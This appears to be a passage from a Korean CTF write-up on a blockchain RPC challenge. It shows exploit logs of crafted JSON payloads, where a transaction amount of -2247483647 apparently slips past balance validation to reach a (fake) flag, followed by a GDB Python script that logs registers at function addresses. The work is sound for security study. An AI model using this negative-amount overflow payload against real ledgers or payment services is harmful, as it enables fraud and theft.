[+] payload: {"type": 4, "args": {"blocks": [{"index": 0, "timestamp": "2024-03-08T04:57:24+09:00", "transactions": [{"From": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "To": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "Amount": 10000, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="}, {"From": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "To": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "Amount": 50, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}], "hash": "1a05060d", "prevHash": ""}], "transactionPool": []}, "from": "CCCC"}
[+] payload: {"type": 5, "args": {"blocks": [{"index": 0, "timestamp": "2024-03-08T04:57:24+09:00", "transactions": [{"From": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "To": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "Amount": 10000, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="}, {"From": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "To": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "Amount": 50, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}], "hash": "1a05060d", "prevHash": ""}], "transactionPool": [], "privateKey": "ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==", "publicKey": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "balance": 50}, "from": "CCCC"}
[+] orig amount: 50
[+] new amount: -2247483647
[+] payload: {"type": 6, "args": {"blocks": [{"index": 0, "timestamp": "2024-03-08T04:57:24+09:00", "transactions": [{"From": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "To": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "Amount": 10000, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="}, {"From": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "To": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "Amount": 50, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}], "hash": "1a05060d", "prevHash": ""}], "transactionPool": [], "privateKey": "ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==", "publicKey": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "balance": 50, "From": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "To": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "Amount": -2247483647, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}, "from": "CCCC"}
[*] Switching to interactive mode
{"blocks":[{"index":0,"timestamp":"2024-03-08T04:57:24+09:00","transactions":[{"From":"A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=","To":"A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=","Amount":10000,"Fee":0,"Timestamp":"2024-03-08T04:57:24+09:00","Message":"","Signature":"0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="},{"From":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","To":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","Amount":50,"Fee":0,"Timestamp":"2024-03-08T04:57:24+09:00","Message":"","Signature":"qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}],"hash":"1a05060d","prevHash":""}],"transactionPool":[]}
Checking transaction
Valid account. Restore Complete
{"privateKey":"ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==","publicKey":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","balance":50}
Sending transaction
flag{fake_flag}
GDB Script
후킹으로 반환값과 매개변수를 알아보려했는데 안되서
GDB 스크립트로 대체.
import gdb
# 주소별 함수 이름 매핑
START_HOOK_NAMES = {
"0x4EA0E0": "chainrpc_pkg_command_getArgType",
"0x4EA200": "chainrpc_pkg_command_ExecuteCommand",
}
END_HOOK_NAMES = {
"0x4EA292": "chainrpc_pkg_command_getArgType",
"0x4EAD65": "chainrpc_pkg_command_ExecuteCommand",
}
def get_hex_reg(reg):
try:
val = int(gdb.parse_and_eval(f"${reg}"))
return hex(val)
except gdb.error:
return "0x0"
class ChainrpcHook(gdb.Breakpoint):
"""START 지점 후킹"""
def __init__(self, addr):
super().__init__(f"*{addr}", gdb.BP_BREAKPOINT)
self.addr = addr
self.silent = True
def stop(self):
# 매핑된 함수 이름 가져오기 (없으면 주소 그대로)
func = START_HOOK_NAMES.get(self.addr, self.addr)
# 레지스터값 수집
regs = { r: get_hex_reg(r)
for r in ("rip", "rax", "rbx", "rcx", "rdi", "rsi", "r8", "r9", "r10", "r11") }
print(f">>> [START hook at {func} ({self.addr})]\n"
f" RIP = {regs['rip']}\n"
f" args = {regs}")
return False
class ChainrpcHookEnd(gdb.Breakpoint):
"""END 지점 후킹"""
def __init__(self, addr):
super().__init__(f"*{addr}", gdb.BP_BREAKPOINT)
self.addr = addr
self.silent = True
def stop(self):
# 매핑된 함수 이름 가져오기 (없으면 주소 그대로)
func = END_HOOK_NAMES.get(self.addr, self.addr)
regs = { r: get_hex_reg(r)
for r in ("rip", "rax", "rbx", "rcx", "rdi", "rsi", "r8", "r9", "r10", "r11") }
print(f">>> [END hook at {func} ({self.addr})]\n"
f" RIP = {regs['rip']}\n"
f" regs = {regs}")
return False
# START 후킹 주소들
for addr in START_HOOK_NAMES:
ChainrpcHook(addr)
# END 후킹 주소들
for addr in END_HOOK_NAMES:
ChainrpcHookEnd(addr)